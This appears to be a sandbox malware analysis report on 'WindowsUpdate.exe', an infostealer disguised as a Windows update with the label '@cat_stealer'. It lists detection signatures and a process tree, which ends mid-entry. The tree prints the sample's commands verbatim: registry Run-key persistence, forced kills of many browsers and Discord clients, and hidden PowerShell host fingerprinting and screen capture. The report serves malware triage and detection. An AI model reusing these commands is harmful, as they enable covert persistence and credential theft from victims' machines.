Overview

overview

8

Static

static

3

DoxTool.rar

windows11-ltsc_2024-x64

1

DoxTool/De...nifest

windows11-ltsc_2024-x64

8

DoxTool/DoxTool.exe

windows11-ltsc_2024-x64

8

$PLUGINSDI...ls.dll

windows11-ltsc_2024-x64

3

$PLUGINSDI...em.dll

windows11-ltsc_2024-x64

3

$PLUGINSDIR/app-64.7z

windows11-ltsc_2024-x64

8

LICENSE.electron.txt

windows11-ltsc_2024-x64

8

LICENSES.c...m.html

windows11-ltsc_2024-x64

3

WindowsUpdate.exe

windows11-ltsc_2024-x64

8

chrome_100...nt.pak

windows11-ltsc_2024-x64

8

chrome_200...nt.pak

windows11-ltsc_2024-x64

3

d3dcompiler_47.dll

windows11-ltsc_2024-x64

1

icudtl.dat

windows11-ltsc_2024-x64

8

locales/af.pak

windows11-ltsc_2024-x64

3

locales/am.pak

windows11-ltsc_2024-x64

8

locales/ar.pak

windows11-ltsc_2024-x64

3

locales/bg.pak

windows11-ltsc_2024-x64

8

locales/bn.pak

windows11-ltsc_2024-x64

3

locales/ca.pak

windows11-ltsc_2024-x64

8

locales/cs.pak

windows11-ltsc_2024-x64

8

locales/da.pak

windows11-ltsc_2024-x64

8

locales/de.pak

windows11-ltsc_2024-x64

3

locales/el.pak

windows11-ltsc_2024-x64

3

locales/en-GB.pak

windows11-ltsc_2024-x64

3

locales/en-US.pak

windows11-ltsc_2024-x64

3

locales/es-419.pak

windows11-ltsc_2024-x64

8

locales/es.pak

windows11-ltsc_2024-x64

3

locales/et.pak

windows11-ltsc_2024-x64

3

locales/fa.pak

windows11-ltsc_2024-x64

3

locales/fi.pak

windows11-ltsc_2024-x64

3

$PLUGINSDI...7z.dll

windows11-ltsc_2024-x64

8

DoxTool/lo...ol.dll

windows11-ltsc_2024-x64

8

Analysis

  • geolocation tags

    cacanadananorth-americatoronto
  • max time kernel
    602s
  • max time network
    552s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    19/08/2026, 03:52

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    WindowsUpdate.exe
  • Size 172.5MB
  • Sample260819-ee75bswdmf
  • SHA256 ff850d29f21e084320a8403668bb316f2d0055c8f8261b7088ffe9ca602a48fe
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
adwarecredential_accessdefense_evasiondiscoveryexecutionpersistenceransomwarespywarestealer

Malware Config

Signatures

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 32 IoCs

    Run Powershell and hide display window.

    execution
  • Uses browser remote debugging 2 TTPs 19 IoCs

    Can be used to control the browser and steal sensitive information such as credentials and session cookies.

    credential_accessstealer
  • Executes dropped EXE 2 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Adds Run key to start application 2 TTPs 4 IoCs
    persistence
  • Contacts third-party web service commonly abused for C2 1 TTPs 13 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 TTPs 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

    discovery
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Executes a command shell one-liner 1 TTPs 64 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • System Time Discovery 1 TTPs 3 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 48 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 2 IoCs
    defense_evasion
  • Enumerates system info in registry 2 TTPs 9 IoCs
  • Kills process with taskkill 64 IoCs
    defense_evasion
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies registry class 40 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 57 IoCs
  • Suspicious use of SendNotifyMessage 40 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\WindowsUpdate.exe
    "C:\Users\Admin\AppData\Local\Temp\WindowsUpdate.exe"
    1⤵
    • Checks processor information in registry
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2028
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "@cat_stealer" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\WindowsUpdate.exe" /f"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5220
      • C:\Windows\system32\reg.exe
        reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "@cat_stealer" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\WindowsUpdate.exe" /f
        3⤵
        • Adds Run key to start application
        PID:4916
    • C:\Users\Admin\AppData\Local\Temp\WindowsUpdate.exe
      "C:\Users\Admin\AppData\Local\Temp\WindowsUpdate.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\Update Manager" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=1728,i,2053615073300479955,9247348791547692194,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=1720 /prefetch:2
      2⤵
        PID:2672
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /T /IM chrome.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2792
        • C:\Windows\system32\taskkill.exe
          taskkill /F /T /IM chrome.exe
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:3308
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /T /IM msedge.exe"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4468
        • C:\Windows\system32\taskkill.exe
          taskkill /F /T /IM msedge.exe
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:2604
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /T /IM firefox.exe"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1472
        • C:\Windows\system32\taskkill.exe
          taskkill /F /T /IM firefox.exe
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:4392
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /T /IM brave.exe"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4184
        • C:\Windows\system32\taskkill.exe
          taskkill /F /T /IM brave.exe
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:1480
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /T /IM opera.exe"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1128
        • C:\Windows\system32\taskkill.exe
          taskkill /F /T /IM opera.exe
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:3252
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /T /IM vivaldi.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4216
        • C:\Windows\system32\taskkill.exe
          taskkill /F /T /IM vivaldi.exe
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:5380
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /T /IM chromium.exe"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1312
        • C:\Windows\system32\taskkill.exe
          taskkill /F /T /IM chromium.exe
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:2608
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /T /IM slimjet.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:5780
        • C:\Windows\system32\taskkill.exe
          taskkill /F /T /IM slimjet.exe
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:696
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /T /IM iridium.exe"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1328
        • C:\Windows\system32\taskkill.exe
          taskkill /F /T /IM iridium.exe
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:4492
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /T /IM chedot.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3004
        • C:\Windows\system32\taskkill.exe
          taskkill /F /T /IM chedot.exe
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:4948
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /T /IM coccocbrowser.exe"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4488
        • C:\Windows\system32\taskkill.exe
          taskkill /F /T /IM coccocbrowser.exe
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:4300
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /T /IM avgbrowser.exe"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4864
        • C:\Windows\system32\taskkill.exe
          taskkill /F /T /IM avgbrowser.exe
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:5576
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /T /IM avastbrowser.exe"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2612
        • C:\Windows\system32\taskkill.exe
          taskkill /F /T /IM avastbrowser.exe
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:1020
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /T /IM dragon.exe"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5708
        • C:\Windows\system32\taskkill.exe
          taskkill /F /T /IM dragon.exe
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:4784
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /T /IM thorium.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3820
        • C:\Windows\system32\taskkill.exe
          taskkill /F /T /IM thorium.exe
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:1572
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /T /IM blisk.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3408
        • C:\Windows\system32\taskkill.exe
          taskkill /F /T /IM blisk.exe
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:2852
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /T /IM wavebox.exe"
        2⤵
        • Executes a command shell one-liner
        PID:2020
        • C:\Windows\system32\taskkill.exe
          taskkill /F /T /IM wavebox.exe
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:3428
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /T /IM ghostbrowser.exe"
        2⤵
        • Executes a command shell one-liner
        PID:1504
        • C:\Windows\system32\taskkill.exe
          taskkill /F /T /IM ghostbrowser.exe
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:2056
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /T /IM qqbrowser.exe"
        2⤵
          PID:3508
          • C:\Windows\system32\taskkill.exe
            taskkill /F /T /IM qqbrowser.exe
            3⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:2492
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /T /IM maxthon.exe"
          2⤵
          • Executes a command shell one-liner
          PID:5912
          • C:\Windows\system32\taskkill.exe
            taskkill /F /T /IM maxthon.exe
            3⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:4640
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /T /IM waterfox.exe"
          2⤵
            PID:3684
            • C:\Windows\system32\taskkill.exe
              taskkill /F /T /IM waterfox.exe
              3⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:2508
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /T /IM palemoon.exe"
            2⤵
              PID:5616
              • C:\Windows\system32\taskkill.exe
                taskkill /F /T /IM palemoon.exe
                3⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:4668
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /T /IM basilisk.exe"
              2⤵
                PID:5084
                • C:\Windows\system32\taskkill.exe
                  taskkill /F /T /IM basilisk.exe
                  3⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3308
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /T /IM seamonkey.exe"
                2⤵
                  PID:5536
                  • C:\Windows\system32\taskkill.exe
                    taskkill /F /T /IM seamonkey.exe
                    3⤵
                    • Kills process with taskkill
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1704
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /T /IM librewolf.exe"
                  2⤵
                    PID:5484
                    • C:\Windows\system32\taskkill.exe
                      taskkill /F /T /IM librewolf.exe
                      3⤵
                      • Suspicious use of AdjustPrivilegeToken
                      PID:4460
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /T /IM Discord.exe"
                    2⤵
                      PID:2200
                      • C:\Windows\system32\taskkill.exe
                        taskkill /F /T /IM Discord.exe
                        3⤵
                        • Kills process with taskkill
                        • Suspicious use of AdjustPrivilegeToken
                        PID:4632
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /T /IM DiscordCanary.exe"
                      2⤵
                        PID:1296
                        • C:\Windows\system32\taskkill.exe
                          taskkill /F /T /IM DiscordCanary.exe
                          3⤵
                          • Kills process with taskkill
                          PID:5828
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /T /IM DiscordPTB.exe"
                        2⤵
                          PID:792
                          • C:\Windows\system32\taskkill.exe
                            taskkill /F /T /IM DiscordPTB.exe
                            3⤵
                            • Kills process with taskkill
                            PID:1672
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /T /IM DiscordDevelopment.exe"
                          2⤵
                          • Executes a command shell one-liner
                          PID:1984
                          • C:\Windows\System32\Conhost.exe
                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                            3⤵
                              PID:2676
                            • C:\Windows\system32\taskkill.exe
                              taskkill /F /T /IM DiscordDevelopment.exe
                              3⤵
                              • Kills process with taskkill
                              PID:3264
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /T /IM Lightcord.exe"
                            2⤵
                            • Executes a command shell one-liner
                            PID:3012
                            • C:\Windows\system32\taskkill.exe
                              taskkill /F /T /IM Lightcord.exe
                              3⤵
                              • Kills process with taskkill
                              PID:5916
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /d /s /c "wmic process where name="chrome.exe" delete"
                            2⤵
                            • Executes a command shell one-liner
                            PID:3328
                            • C:\Windows\System32\Wbem\WMIC.exe
                              wmic process where name="chrome.exe" delete
                              3⤵
                              • Suspicious behavior: EnumeratesProcesses
                              PID:1656
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /d /s /c "wmic process where name="msedge.exe" delete"
                            2⤵
                              PID:5580
                              • C:\Windows\System32\Conhost.exe
                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                3⤵
                                  PID:1480
                                • C:\Windows\System32\Wbem\WMIC.exe
                                  wmic process where name="msedge.exe" delete
                                  3⤵
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:3960
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /d /s /c "wmic process where name="brave.exe" delete"
                                2⤵
                                • Executes a command shell one-liner
                                PID:3180
                                • C:\Windows\System32\Wbem\WMIC.exe
                                  wmic process where name="brave.exe" delete
                                  3⤵
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:2536
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /d /s /c "wmic process where name="opera.exe" delete"
                                2⤵
                                  PID:2824
                                  • C:\Windows\System32\Wbem\WMIC.exe
                                    wmic process where name="opera.exe" delete
                                    3⤵
                                    • Suspicious behavior: EnumeratesProcesses
                                    PID:2092
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /d /s /c "wmic process where name="vivaldi.exe" delete"
                                  2⤵
                                    PID:2080
                                    • C:\Windows\System32\Wbem\WMIC.exe
                                      wmic process where name="vivaldi.exe" delete
                                      3⤵
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:1640
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /d /s /c "wmic process where name="chromium.exe" delete"
                                    2⤵
                                      PID:4648
                                      • C:\Windows\System32\Wbem\WMIC.exe
                                        wmic process where name="chromium.exe" delete
                                        3⤵
                                        • Suspicious behavior: EnumeratesProcesses
                                        PID:4276
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /FI "IMAGENAME eq discord*""
                                      2⤵
                                      • Executes a command shell one-liner
                                      PID:2864
                                      • C:\Windows\system32\taskkill.exe
                                        taskkill /F /FI "IMAGENAME eq discord*"
                                        3⤵
                                        • Kills process with taskkill
                                        PID:1464
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /d /s /c "timeout /t 5 /nobreak"
                                      2⤵
                                        PID:5376
                                        • C:\Windows\System32\Conhost.exe
                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                          3⤵
                                            PID:752
                                          • C:\Windows\system32\timeout.exe
                                            timeout /t 5 /nobreak
                                            3⤵
                                            • Delays execution with timeout.exe
                                            PID:2408
                                        • C:\Users\Admin\AppData\Local\Temp\WindowsUpdate.exe
                                          "C:\Users\Admin\AppData\Local\Temp\WindowsUpdate.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\Update Manager" --field-trial-handle=1764,i,2053615073300479955,9247348791547692194,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=1956 /prefetch:11
                                          2⤵
                                            PID:4556
                                          • C:\Windows\system32\cmd.exe
                                            C:\Windows\system32\cmd.exe /d /s /c "powershell -NonInteractive -WindowStyle Hidden -Command "(Get-CimInstance Win32_ComputerSystemProduct).UUID""
                                            2⤵
                                            • Executes a command shell one-liner
                                            PID:2964
                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              powershell -NonInteractive -WindowStyle Hidden -Command "(Get-CimInstance Win32_ComputerSystemProduct).UUID"
                                              3⤵
                                              • Command and Scripting Interpreter: PowerShell
                                              • Suspicious behavior: EnumeratesProcesses
                                              PID:720
                                          • C:\Windows\system32\cmd.exe
                                            C:\Windows\system32\cmd.exe /d /s /c "powershell -NonInteractive -WindowStyle Hidden -Command "(Get-PSDrive C).Used + (Get-PSDrive C).Free""
                                            2⤵
                                              PID:5428
                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                powershell -NonInteractive -WindowStyle Hidden -Command "(Get-PSDrive C).Used + (Get-PSDrive C).Free"
                                                3⤵
                                                • Command and Scripting Interpreter: PowerShell
                                                • Suspicious behavior: EnumeratesProcesses
                                                PID:1780
                                            • C:\Windows\system32\cmd.exe
                                              C:\Windows\system32\cmd.exe /d /s /c "powershell -NonInteractive -WindowStyle Hidden -Command "(Get-CimInstance Win32_VideoController | Select-Object -First 1).Name""
                                              2⤵
                                              • Executes a command shell one-liner
                                              PID:360
                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                powershell -NonInteractive -WindowStyle Hidden -Command "(Get-CimInstance Win32_VideoController | Select-Object -First 1).Name"
                                                3⤵
                                                • Command and Scripting Interpreter: PowerShell
                                                • Suspicious behavior: EnumeratesProcesses
                                                PID:3132
                                            • C:\Windows\system32\cmd.exe
                                              C:\Windows\system32\cmd.exe /d /s /c "powershell -NonInteractive -WindowStyle Hidden -Command "(Get-Process).Name -join ','""
                                              2⤵
                                                PID:4236
                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                  powershell -NonInteractive -WindowStyle Hidden -Command "(Get-Process).Name -join ','"
                                                  3⤵
                                                  • Command and Scripting Interpreter: PowerShell
                                                  • Suspicious behavior: EnumeratesProcesses
                                                  PID:4936
                                              • C:\Windows\system32\cmd.exe
                                                C:\Windows\system32\cmd.exe /d /s /c "powershell -NonInteractive -WindowStyle Hidden -Command "(Get-NetAdapter).InterfaceDescription -join ','""
                                                2⤵
                                                  PID:6120
                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                    powershell -NonInteractive -WindowStyle Hidden -Command "(Get-NetAdapter).InterfaceDescription -join ','"
                                                    3⤵
                                                    • Command and Scripting Interpreter: PowerShell
                                                    PID:1172
                                                • C:\Windows\system32\cmd.exe
                                                  C:\Windows\system32\cmd.exe /d /s /c "powershell -NonInteractive -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width""
                                                  2⤵
                                                    PID:752
                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      powershell -NonInteractive -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width"
                                                      3⤵
                                                      • Command and Scripting Interpreter: PowerShell
                                                      PID:1648
                                                  • C:\Windows\system32\cmd.exe
                                                    C:\Windows\system32\cmd.exe /d /s /c "powershell -NonInteractive -WindowStyle Hidden -Command "Get-ChildItem HKLM:\\SOFTWARE | Select-Object -ExpandProperty PSChildName""
                                                    2⤵
                                                    • Executes a command shell one-liner
                                                    PID:5612
                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      powershell -NonInteractive -WindowStyle Hidden -Command "Get-ChildItem HKLM:\\SOFTWARE | Select-Object -ExpandProperty PSChildName"
                                                      3⤵
                                                      • Command and Scripting Interpreter: PowerShell
                                                      PID:2896
                                                  • C:\Windows\system32\cmd.exe
                                                    C:\Windows\system32\cmd.exe /d /s /c "powershell -NonInteractive -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $p=[System.Windows.Forms.Cursor]::Position; Write-Output ($p.X.ToString() + ',' + $p.Y.ToString())""
                                                    2⤵
                                                    • Executes a command shell one-liner
                                                    PID:4408
                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      powershell -NonInteractive -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $p=[System.Windows.Forms.Cursor]::Position; Write-Output ($p.X.ToString() + ',' + $p.Y.ToString())"
                                                      3⤵
                                                      • Command and Scripting Interpreter: PowerShell
                                                      PID:3160
                                                  • C:\Windows\system32\cmd.exe
                                                    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\WindowsUpdate.exe" /f"
                                                    2⤵
                                                    • Executes a command shell one-liner
                                                    PID:2852
                                                    • C:\Windows\system32\reg.exe
                                                      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\WindowsUpdate.exe" /f
                                                      3⤵
                                                      • Adds Run key to start application
                                                      PID:3300
                                                  • C:\Windows\system32\cmd.exe
                                                    C:\Windows\system32\cmd.exe /d /s /c "powershell -NonInteractive -WindowStyle Hidden -Command "(Get-CimInstance Win32_ComputerSystemProduct).UUID""
                                                    2⤵
                                                      PID:6016
                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                        powershell -NonInteractive -WindowStyle Hidden -Command "(Get-CimInstance Win32_ComputerSystemProduct).UUID"
                                                        3⤵
                                                        • Command and Scripting Interpreter: PowerShell
                                                        PID:3612
                                                    • C:\Windows\system32\cmd.exe
                                                      C:\Windows\system32\cmd.exe /d /s /c "powershell -NonInteractive -WindowStyle Hidden -Command "(Get-CimInstance Win32_Processor).Name""
                                                      2⤵
                                                      • Executes a command shell one-liner
                                                      PID:616
                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                        powershell -NonInteractive -WindowStyle Hidden -Command "(Get-CimInstance Win32_Processor).Name"
                                                        3⤵
                                                        • Command and Scripting Interpreter: PowerShell
                                                        PID:1076
                                                    • C:\Windows\system32\cmd.exe
                                                      C:\Windows\system32\cmd.exe /d /s /c "powershell -NonInteractive -WindowStyle Hidden -Command "(Get-CimInstance Win32_VideoController | Select-Object -First 1).Name""
                                                      2⤵
                                                        PID:4692
                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                          powershell -NonInteractive -WindowStyle Hidden -Command "(Get-CimInstance Win32_VideoController | Select-Object -First 1).Name"
                                                          3⤵
                                                          • Command and Scripting Interpreter: PowerShell
                                                          PID:1376
                                                      • C:\Windows\system32\cmd.exe
                                                        C:\Windows\system32\cmd.exe /d /s /c "powershell -NonInteractive -WindowStyle Hidden -Command "(Get-CimInstance Win32_NetworkAdapterConfiguration | Where-Object {$_.IPEnabled -eq $true} | Select-Object -First 1).MACAddress""
                                                        2⤵
                                                        • Executes a command shell one-liner
                                                        PID:2604
                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                          powershell -NonInteractive -WindowStyle Hidden -Command "(Get-CimInstance Win32_NetworkAdapterConfiguration | Where-Object {$_.IPEnabled -eq $true} | Select-Object -First 1).MACAddress"
                                                          3⤵
                                                          • Command and Scripting Interpreter: PowerShell
                                                          PID:5600
                                                      • C:\Windows\system32\cmd.exe
                                                        C:\Windows\system32\cmd.exe /d /s /c "powershell -NonInteractive -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $b=New-Object System.Drawing.Bitmap([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width,[System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $g=[System.Drawing.Graphics]::FromImage($b); $g.CopyFromScreen(0,0,0,0,$b.Size); $b.Save('C:\Users\Admin\AppData\Local\Temp\tmp_1787111895241.png'); $g.Dispose(); $b.Dispose()""
                                                        2⤵
                                                        • Executes a command shell one-liner
                                                        PID:3700
                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
